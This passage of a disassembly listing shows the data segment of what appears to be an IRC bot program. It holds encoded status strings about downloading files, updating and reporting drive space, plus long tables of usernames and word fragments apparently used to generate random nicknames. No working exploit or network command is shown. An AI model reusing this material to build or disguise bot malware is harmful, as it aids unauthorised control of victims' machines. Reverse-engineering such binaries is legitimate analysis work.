XREF: seg000:00416396o dd 267021Fh, 2C313003h, 3A353103h, 6C203203h, 73026902h dd 53022074h, 72617402h, 676E6974h, 0 dword_44C680 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F026Ch ; DATA XREF: seg000:00416433o dd 267021Fh, 2C313003h, 3A353103h, 6C203203h, 73026902h dd 43022074h, 706D6F02h, 6574656Ch, 0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch dd 2032033Ah, 6F024302h, 6E646C75h, 2207427h, 6570024Fh dd 4602206Eh, 6C026902h, 33A6502h, 73252034h, 0 dd 35310302h, 25B302Ch, 91343003h, 2323003h, 26F0244h dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h dd 25203203h, 34032073h, 4B642528h, 2942h, 35310302h, 25B302Ch dd 91343003h, 2323003h, 26F0244h, 26E0277h, 26F026Ch, 2640261h dd 34300302h, 3531032Ch, 2034033Ah, 6F024702h, 55022074h dd 61647002h, 32036574h, 20732520h, 25283403h, 29424B64h dd 0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch dd 2032033Ah, 72025702h, 20676E6Fh, 69024602h, 6973656Ch dd 3403657Ah, 64252820h, 203D2120h, 2E296425h, 0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch dd 2032033Ah, 72025702h, 20676E6Fh, 72026302h, 3026302h dd 25282034h, 3D212064h, 29642520h, 2Eh, 35310302h, 25B302Ch dd 91343003h, 2323003h, 26F0244h, 26E0277h, 26F026Ch, 2640261h dd 34300302h, 3531032Ch, 2034033Ah, 26F4402h, 6C026E77h dd 261026Fh, 64026564h, 25203203h, 2066312Eh, 424B3403h dd 36F7420h, 73252032h, 25204020h, 2066312Eh, 424B3403h dd 6365732Fh, 0 aOpen_2 db 'open',0 align 4 dd 35310302h, 25B302Ch, 91343003h, 2323003h, 26F0244h dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 70024F02h, 6E026502h, 2026502h, 32030264h dd 732520h, 35310302h, 25B302Ch, 91343003h, 2323003h, 26F0244h dd 26E0277h, 26F026Ch, 2640261h, 34300302h, 3531032Ch dd 2034033Ah, 26F4402h, 6C026E77h, 261026Fh, 64026564h dd 25203203h, 2066312Eh, 424B3403h, 36F7420h, 73252032h dd 25204020h, 2066312Eh, 424B3403h, 6365732Fh, 3203202Ch dd 70025502h, 61026402h, 2690274h, 4220676Eh, 74026F02h dd 0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 26F0244h dd 26E0277h, 26F026Ch, 2640261h, 32300302h, 3531032Ch dd 2032033Ah, 70025502h, 2610264h, 2206574h, 69610246h dd 65026C02h, 2202C64h, 2720245h, 726F0272h, 2450220h dd 63026578h, 69747502h, 67026E02h, 25203403h, 73h, 35310302h dd 25B302Ch, 91323003h, 2343003h, 26F0244h, 26E0277h, 26F026Ch dd 2640261h, 32300302h, 3531032Ch, 2034033Ah, 61024202h dd 2552064h, 204C0252h, 272024Fh, 2440220h, 220736Eh, 2720245h dd 726F0272h, 3746120h, 73252032h, 2Eh aUnknown db 'Unknown',0 ; DATA XREF: sub_416A2E:loc_416A71o aInvalid db 'Invalid',0 ; DATA XREF: sub_416A2E:loc_416A6Bo aDisk db 'Disk',0 ; DATA XREF: sub_416A2E:loc_416A65o align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416A2E:loc_416A5Fo aCdrom db 'Cdrom',0 ; DATA XREF: sub_416A2E:loc_416A59o align 4 off_44CA48 dd offset word_4D4152 ; DATA XREF: sub_416A2E:loc_416A53o dword_44CA4C dd 3Fh aFailed db 'failed',0 ; DATA XREF: sub_416ABF+E0o align 4 aFailed_0 db 'failed',0 ; DATA XREF: sub_416ABF+F1o align 10h aFailed_1 db 'failed',0 ; DATA XREF: sub_416ABF+102o align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416ABF+70o align 10h aSkb_0 db '%sKB',0 ; DATA XREF: sub_416ABF+9Bo align 4 aSkb_1 db '%sKB',0 ; DATA XREF: sub_416ABF+C6o align 10h aFailed_2 db 'failed',0 ; DATA XREF: sub_416BE3+3Bo align 4 dword_44CA88 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F4D1Fh ; DATA XREF: sub_416BE3+58o dd 2690261h, 3230036Eh, 3531032Ch, 2034033Ah, 3207325h dd 2440232h, 65766972h, 28203403h, 3A297325h, 2203203h dd 69610246h, 2064656Ch, 6F025402h, 2530220h, 2C746174h dd 2440220h, 63697665h, 4E022065h, 20746F02h, 65025202h dd 796461h dword_44CAF0 dd 35310302h, 25B302Ch, 91323003h, 2343003h, 21F4D1Fh ; DATA XREF: sub_416BE3+8Eo dd 2690261h, 3230036Eh, 3531032Ch, 2032033Ah, 3207325h dd 2440234h, 65766972h, 28203203h, 3A297325h, 25203403h dd 32032073h, 6F025402h, 2C6C6174h, 25203403h, 32032073h dd 72024602h, 32C6565h, 73252034h, 2320320h, 61760241h dd 62616C69h, 656Ch dword_44CB5C dd 5C3A41h off_44CB60 dd offset dword_44CFF8 ; DATA XREF: sub_417120+5Cr dd offset dword_44CFFC dd offset dword_44D000 dd offset dword_44D004 dd offset dword_44D008 dd offset dword_44D00C dd offset dword_44D010 dd offset dword_44D014 dd offset dword_44D018 dd offset dword_44D01C dd offset dword_44D020 dd offset dword_44D024 dd offset dword_44D028 dd offset dword_44D02C dd offset dword_44D030 dd offset dword_44D034 dd offset dword_44D038 dd offset dword_44D03C dd offset dword_44D040 dd offset dword_44D044 dd offset dword_44D048 dd offset dword_44D04C dd offset dword_44D050 dd offset dword_44D054 dd offset dword_44D058 dd offset dword_44D05C dd offset dword_44D060 dd offset dword_44D064 dd offset dword_44D068 dd offset dword_44D06C dd offset dword_44D070 dd offset dword_44D074 dd offset dword_44D078 dd offset dword_44D07C dd offset dword_44D080 dd offset dword_44D084 dd offset dword_44D088 dd offset dword_44D08C dd offset dword_44D090 dd offset dword_44D094 dd offset dword_44D098 dd offset dword_44D09C dd offset dword_44D0A0 dd offset dword_44D0A4 dd offset dword_44D0A8 dd offset dword_44D0AC dd offset dword_44D0B0 dd offset dword_44D0B4 dd offset dword_44D0B8 dd offset dword_44D0BC dd offset dword_44D0C0 dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset aAyla ; "AYLA-" dd offset off_44D328 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_44D4BC dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_44CE60 dd offset aSex_0 ; DATA XREF: sub_417120+41r ; sub_417120+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex_1 ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset aB ; "b" dd offset aC_6 ; "c" dd offset aD_3 ; "d" dd offset aE_0 ; "e" dd offset aF ; "f" dd offset aG ; "g" dd offset asc_44D674 ; "h" dd offset aI_1 ; "i" dd offset a__5 ; "_" dd offset aJ_1 ; "j" dd offset aK_0 ; "k" dd offset asc_44D688 ; "l" dd offset aM_2 ; "m" dd offset aN_0 ; "n" dd offset aO_0 ; "o" dd offset aP_0 ; "p" dd offset aQ_0 ; "q" dd offset aRs ; "rs" dd offset aT_0 ; "t" dd offset aU_0 ; "u" dd offset aV ; "v" dd offset aW ; "w" dd offset asc_44D6B4 ; "x" dd offset aY ; "y" dd offset aZ ; "z" dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset aZ_0 ; "z" dd offset aG_0 ; "g" dd offset aS_33 ; "s" dd offset aQ_1 ; "q" dd offset off_44D710 dd offset dword_44D714 dd offset dword_4EDCA4 dd offset dword_4EDCA8 dd offset dword_44D71C dd offset dword_4EDCAC dd offset dword_4EDCB0 dd offset dword_4EDCB4 dd offset dword_4EDCB8 dd offset dword_44D720 dd offset dword_44D724 dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_0 ; "^^^f^" dd offset aB_0 ; "b" dd offset dword_4EDCBC dd offset aSleeping ; "Sleeping" dd offset dword_4EDCC0 dd offset dword_4EDCC4 dd offset aFuck_0 ; "Fuck" dd offset aFree_0 ; "Free" dd offset dword_4EDCC8 dd offset dword_4EDCCC dd offset asc_44D75C ; "X" dd offset dword_4EDCD0 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset aTot_0 ; "tot" dd offset aLol ; "lol" dd offset aLoloA ; "lolo|a|" dd offset aSex4free ; "|sex4free|" dd offset a4us ; "|4us|" dd offset a4you ; "{4you}" dd offset a4u ; "|4u|" dd offset a5u ; "5u" dd offset a6u ; "6u" dword_44CFF8 dd 71h dword_44CFFC dd 77h dword_44D000 dd 65h dword_44D004 dd 72h dword_44D008 dd 74h dword_44D00C dd 79h dword_44D010 dd 75h dword_44D014 dd 69h dword_44D018 dd 70h dword_44D01C dd 61h dword_44D020 dd 73h dword_44D024 dd 64h dword_44D028 dd 66h dword_44D02C dd 67h dword_44D030 dd 68h dword_44D034 dd 6Ah dword_44D038 dd 6Bh dword_44D03C dd 6Ch dword_44D040 dd 7Ah dword_44D044 dd 78h dword_44D048 dd 63h dword_44D04C dd 76h dword_44D050 dd 62h dword_44D054 dd 6Eh dword_44D058 dd 6Dh dword_44D05C dd 51h dword_44D060 dd 57h dword_44D064 dd 45h dword_44D068 dd 52h dword_44D06C dd 54h dword_44D070 dd 59h dword_44D074 dd 55h dword_44D078 dd 49h dword_44D07C dd 4Fh dword_44D080 dd 50h dword_44D084 dd 41h dword_44D088 dd 53h dword_44D08C dd 44h dword_44D090 dd 46h dword_44D094 dd 47h dword_44D098 dd 48h dword_44D09C dd 4Ah dword_44D0A0 dd 4Bh dword_44D0A4 dd 4Ch dword_44D0A8 dd 5Ah dword_44D0AC dd 58h dword_44D0B0 dd 43h dword_44D0B4 dd 56h dword_44D0B8 dd 42h dword_44D0BC dd 4Eh dword_44D0C0 dd 4Dh aSmartmir db 'SMARTMIR',0 ; DATA XREF: seg002:0044CC2Co align 10h aFarooq db 'farooq',0 ; DATA XREF: seg002:0044CC30o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: seg002:0044CC34o aBobmarley db 'BOBMARLEY',0 ; DATA XREF: seg002:0044CC38o align 4 aEmilya db 'emilya',0 ; DATA XREF: seg002:0044CC3Co align 4 aKrizha db 'KRIZHA',0 ; DATA XREF: seg002:0044CC40o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: seg002:0044CC44o aSwin db 'swin',0 ; DATA XREF: seg002:0044CC48o align 4 aMale db 'male',0 ; DATA XREF: seg002:0044CC4Co align 4 aKoko db 'koko',0 ; DATA XREF: seg002:0044CC50o align 4 aFlexster db 'flexster',0 ; DATA XREF: seg002:0044CC54o align 4 aKen db 'ken',0 ; DATA XREF: seg002:0044CC58o aShez db 'Shez',0 ; DATA XREF: seg002:0044CC5Co align 4 aTalika db 'talika',0 ; DATA XREF: seg002:0044CC60o align 4 aMarcy db 'marcy',0 ; DATA XREF: seg002:0044CC64o align 4 aCme db 'cme',0 ; DATA XREF: seg002:0044CC68o aHeval db 'heval',0 ; DATA XREF: seg002:0044CC6Co align 10h aBunty db 'bunty',0 ; DATA XREF: seg002:0044CC70o align 4 aJanno db 'janno',0 ; DATA XREF: seg002:0044CC74o align 10h aRimpy db 'rimpy',0 ; DATA XREF: seg002:0044CC78o align 4 aNastysha db 'nastysha',0 ; DATA XREF: seg002:0044CC7Co align 4 aLuisa db 'Luisa',0 ; DATA XREF: seg002:0044CC80o align 4 aTroller db 'troller',0 ; DATA XREF: seg002:0044CC84o aManee db 'manee',0 ; DATA XREF: seg002:0044CC88o align 4 aKermit db 'kermit',0 ; DATA XREF: seg002:0044CC8Co align 4 aPuregold db 'puregold',0 ; DATA XREF: seg002:0044CC90o align 10h aCoredump db 'CoreDump',0 ; DATA XREF: seg002:0044CC94o align 4 aImra db 'imra',0 ; DATA XREF: seg002:0044CC98o align 4 aGirl db 'GirL',0 ; DATA XREF: seg002:0044CC9Co align 4 aCamel db 'CAMEL',0 ; DATA XREF: seg002:0044CCA0o align 4 aReshma db 'reshma',0 ; DATA XREF: seg002:0044CCA4o align 4 aKencing db 'Kencing',0 ; DATA XREF: seg002:0044CCA8o aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: seg002:0044CCACo align 10h aCansuuuu db 'cansuuuu',0 ; DATA XREF: seg002:0044CCB0o align 4 aKaan38dent db 'kaan38dent',0 ; DATA XREF: seg002:0044CCB4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: seg002:0044CCB8o aHexaaa db 'hexaaa',0 ; DATA XREF: seg002:0044CCBCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: seg002:0044CCC0o align 10h aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: seg002:0044CCC4o align 10h aIrmal db 'irmal',0 ; DATA XREF: seg002:0044CCC8o align 4 aMisssunday db 'misssunday',0 ; DATA XREF: seg002:0044CCCCo align 4 aTolga34 db 'Tolga34',0 ; DATA XREF: seg002:0044CCD0o aJericho db 'JERICHO',0 ; DATA XREF: seg002:0044CCD4o aMary_0 db 'MARY',0 ; DATA XREF: seg002:0044CCD8o align 4 aAkin db 'AKIN',0 ; DATA XREF: seg002:0044CCDCo align 4 aMelekk db 'melekk',0 ; DATA XREF: seg002:0044CCE0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: seg002:0044CCE4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: seg002:0044CCE8o align 10h aTekir db 'tekir',0 ; DATA XREF: seg002:0044CCECo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: seg002:0044CCF0o align 4 aSevmekmi db 'sevmekmi',0 ; DATA XREF: seg002:0044CCF4o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: seg002:0044CCF8o aArzu db 'ARZU',0 ; DATA XREF: seg002:0044CCFCo align 10h aHaticem db 'haticem',0 ; DATA XREF: seg002:0044CD00o aErnesto db 'ERNESTO',0 ; DATA XREF: seg002:0044CD04o aAslii db 'aslii',0 ; DATA XREF: seg002:0044CD08o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: seg002:0044CD0Co aSamyeli21 db 'samyeli21',0 ; DATA XREF: seg002:0044CD10o align 4 aRetg db 'RETG',0 ; DATA XREF: seg002:0044CD14o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: seg002:0044CD18o align 10h aPelincik db 'pelincik',0 ; DATA XREF: seg002:0044CD1Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: seg002:0044CD20o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: seg002:0044CD24o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: seg002:0044CD28o align 4 aZack db 'ZACK',0 ; DATA XREF: seg002:0044CD2Co align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: seg002:0044CD30o align 4 aAlbina db 'albina',0 ; DATA XREF: seg002:0044CD34o align 10h aAyla db 'AYLA-',0 ; DATA XREF: seg002:0044CD38o align 4 off_44D328 dd offset byte_457441 ; DATA XREF: seg002:0044CD3Co aAnkh db 'ankh',0 ; DATA XREF: seg002:0044CD40o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: seg002:0044CD44o align 10h aBogac db 'bogac',0 ; DATA XREF: seg002:0044CD48o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: seg002:0044CD4Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: seg002:0044CD50o align 10h aDenizlim db 'DenizliM',0 ; DATA XREF: seg002:0044CD54o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: seg002:0044CD58o aDevran db 'devran',0 ; DATA XREF: seg002:0044CD5Co align 4 aArda db 'arda',0 ; DATA XREF: seg002:0044CD60o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: seg002:0044CD64o aMurat34M db 'murat34-m',0 ; DATA XREF: seg002:0044CD68o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: seg002:0044CD6Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: seg002:0044CD70o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: seg002:0044CD74o align 4 aEmre db 'Emre--',0 ; DATA XREF: seg002:0044CD78o align 10h aElmaazyok db 'elmaazyok',0 ; DATA XREF: seg002:0044CD7Co align 4 aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: seg002:0044CD80o align 4 aKebikec db 'kebikec',0 ; DATA XREF: seg002:0044CD84o aFlord db 'FLoRD',0 ; DATA XREF: seg002:0044CD88o align 4 aHoly db 'holy',0 ; DATA XREF: seg002:0044CD8Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: seg002:0044CD90o aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: seg002:0044CD94o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: seg002:0044CD98o align 10h aKashmira db 'Kashmira',0 ; DATA XREF: seg002:0044CD9Co align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: seg002:0044CDA0o align 4 aSugarboy db 'SUGARBOY-',0 ; DATA XREF: seg002:0044CDA4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: seg002:0044CDA8o aKumul db 'kumul',0 ; DATA XREF: seg002:0044CDACo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: seg002:0044CDB0o align 4 aUmut db 'umut-',0 ; DATA XREF: seg002:0044CDB4o align 4 aAnk32M db 'ANK-32-M',0 ; DATA XREF: seg002:0044CDB8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: seg002:0044CDBCo aAnkar db 'Ankar',0 ; DATA XREF: seg002:0044CDC0o align 10h aFenerlee db 'FeNeRLee',0 ; DATA XREF: seg002:0044CDC4o align 4 aHayran db 'hayran',0 ; DATA XREF: seg002:0044CDC8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: seg002:0044CDCCo align 10h aKapk db 'kapk',0 ; DATA XREF: seg002:0044CDD0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: seg002:0044CDD4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: seg002:0044CDD8o align 4 aKotan db 'kotan',0 ; DATA XREF: seg002:0044CDDCo align 4 aSevda db 'sevda',0 ; DATA XREF: seg002:0044CDE0o align 4 off_44D4BC dd offset byte_4B5245 ; DATA XREF: seg002:0044CDE4o aAlcatras db 'alcatras',0 ; DATA XREF: seg002:0044CDE8o align 4 aA44m db 'a44m',0 ; DATA XREF: seg002:0044CDECo align 4 aBirsen db 'birsen',0 ; DATA XREF: seg002:0044CDF0o align 4 aYabanc db 'yabanc',0 ; DATA XREF: seg002:0044CDF4o align 4 aDevre db 'devre',0 ; DATA XREF: seg002:0044CDF8o align 4 aErkan db 'erkan',0 ; DATA XREF: seg002:0044CDFCo align 4 aAnkm db 'ankM',0 ; DATA XREF: seg002:0044CE00o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: seg002:0044CE04o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: seg002:0044CE08o align 10h aM41ist db 'M41IST',0 ; DATA XREF: seg002:0044CE0Co align 4 aAdamm33 db 'AdAMM33',0 ; DATA XREF: seg002:0044CE10o aFirtina db 'firtina',0 ; DATA XREF: seg002:0044CE14o aAta29 db 'Ata29',0 ; DATA XREF: seg002:0044CE18o align 10h aKoray db 'KORAY',0 ; DATA XREF: seg002:0044CE1Co align 4 aAkden db 'akden',0 ; DATA XREF: seg002:0044CE20o align 10h aIzmirlm db 'izmirlm',0 ; DATA XREF: seg002:0044CE24o aUla db 'ula',0 ; DATA XREF: seg002:0044CE28o aNeHaber db 'NE-HABER',0 ; DATA XREF: seg002:0044CE2Co align 4 aPassenger db 'passenger',0 ; DATA XREF: seg002:0044CE30o align 4 aTropikal db 'tropikal',0 ; DATA XREF: seg002:0044CE34o align 10h aCool30m db 'cool30m',0 ; DATA XREF: seg002:0044CE38o aCem39 db 'cem39',0 ; DATA XREF: seg002:0044CE3Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: seg002:0044CE40o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: seg002:0044CE44o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: seg002:0044CE48o align 10h aPrometheus db 'prometheus',0 ; DATA XREF: seg002:0044CE4Co align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: seg002:0044CE50o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: seg002:0044CE54o align 10h aCumhur29 db 'cumhur29',0 ; DATA XREF: seg002:0044CE58o align 4 aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: seg002:0044CE5Co align 4 aSex_0 db 'sex',0 ; DATA XREF: seg002:off_44CE60o aLez db 'lez',0 ; DATA XREF: seg002:0044CE64o aZex db 'zex',0 ; DATA XREF: seg002:0044CE68o aTree db 'tree',0 ; DATA XREF: seg002:0044CE6Co align 4 aBad db 'bad',0 ; DATA XREF: seg002:0044CE70o aLag db 'lag',0 ; DATA XREF: seg002:0044CE74o aTambe db '|tambe|',0 ; DATA XREF: seg002:0044CE78o aWoh db '|woh|',0 ; DATA XREF: seg002:0044CE7Co align 4 aTot db '-|tot|',0 ; DATA XREF: seg002:0044CE80o align 4 aSuck db '|suck|',0 ; DATA XREF: seg002:0044CE84o align 4 aLuck db '|luck|',0 ; DATA XREF: seg002:0044CE88o align 4 aHub db '{hub}',0 ; DATA XREF: seg002:0044CE8Co align 4 aSex_1 db '{sex}',0 ; DATA XREF: seg002:0044CE90o align 4 aGens db '{gens|',0 ; DATA XREF: seg002:0044CE94o align 4 aLuvuF db '||luvu-f|',0 ; DATA XREF: seg002:0044CE98o align 10h aWiked db '|wiked|',0 ; DATA XREF: seg002:0044CE9Co aSick db 'sick}}',0 ; DATA XREF: seg002:0044CEA0o align 10h aQ8 db 'Q8',0 ; DATA XREF: seg002:0044CEA4o align 4 aQ8A db '|q8|a',0 ; DATA XREF: seg002:0044CEA8o align 4 aB: ; DATA XREF: seg002:0044CEACo unicode 0, <b>,0 aC_6: ; DATA XREF: seg002:0044CEB0o unicode 0, <c>,0 aD_3: ; DATA XREF: seg002:0044CEB4o unicode 0, <d>,0 aE_0: ; DATA XREF: seg002:0044CEB8o unicode 0, <e>,0 aF: ; DATA XREF: seg002:0044CEBCo unicode 0, <f>,0 aG: ; DATA XREF: seg002:0044CEC0o unicode 0, <g>,0 asc_44D674: ; DATA XREF: seg002:0044CEC4o unicode 0, <h>,0 aI_1: ; DATA XREF: seg002:0044CEC8o unicode 0, <i>,0 a__5: ; DATA XREF: seg002:0044CECCo unicode 0, <_>,0 aJ_1: ; DATA XREF: seg002:0044CED0o unicode 0, <j>,0 aK_0: ; DATA XREF: seg002:0044CED4o unicode 0, <k>,0 asc_44D688: ; DATA XREF: seg002:0044CED8o unicode 0, <l>,0 aM_2: ; DATA XREF: seg002:0044CEDCo unicode 0, <m>,0 aN_0: ; DATA XREF: seg002:0044CEE0o unicode 0, <n>,0 aO_0: ; DATA XREF: seg002:0044CEE4o unicode 0, <o>,0 aP_0: ; DATA XREF: seg002:0044CEE8o unicode 0, <p>,0 aQ_0: ; DATA XREF: seg002:0044CEECo unicode 0, <q>,0 aRs db 'rs',0 ; DATA XREF: seg002:0044CEF0o align 4 aT_0: ; DATA XREF: seg002:0044CEF4o unicode 0, <t>,0 aU_0: ; DATA XREF: seg002:0044CEF8o unicode 0, <u>,0 aV: ; DATA XREF: seg002:0044CEFCo unicode 0, <v>,0 aW: ; DATA XREF: seg002:0044CF00o unicode 0, <w>,0 asc_44D6B4: ; DATA XREF: seg002:0044CF04o unicode 0, <x>,0 aY: ; DATA XREF: seg002:0044CF08o unicode 0, <y>,0 aZ: ; DATA XREF: seg002:0044CF0Co unicode 0, <z>,0 aHappy db 'happy',0 ; DATA XREF: seg002:0044CF10o align 4 aRg db 'rg',0 ; DATA XREF: seg002:0044CF14o align 4 aTy db 'ty',0 ; DATA XREF: 